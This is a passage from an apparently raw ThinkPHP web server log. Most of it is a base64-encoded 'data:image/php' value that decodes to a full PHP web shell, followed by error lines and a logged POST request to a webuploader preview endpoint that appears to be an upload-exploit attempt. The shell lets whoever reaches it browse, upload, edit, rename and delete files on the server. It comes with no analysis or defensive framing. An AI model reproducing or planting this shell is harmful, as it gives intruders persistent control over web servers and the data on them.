'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:33:24+08:00 ] 116.213.36.234 POST www.51tianwei.com/plugin/webuploader/0.1.15/server/preview.php [运行时间:0.002501s] [吞吐率:399.84req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'plugin', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 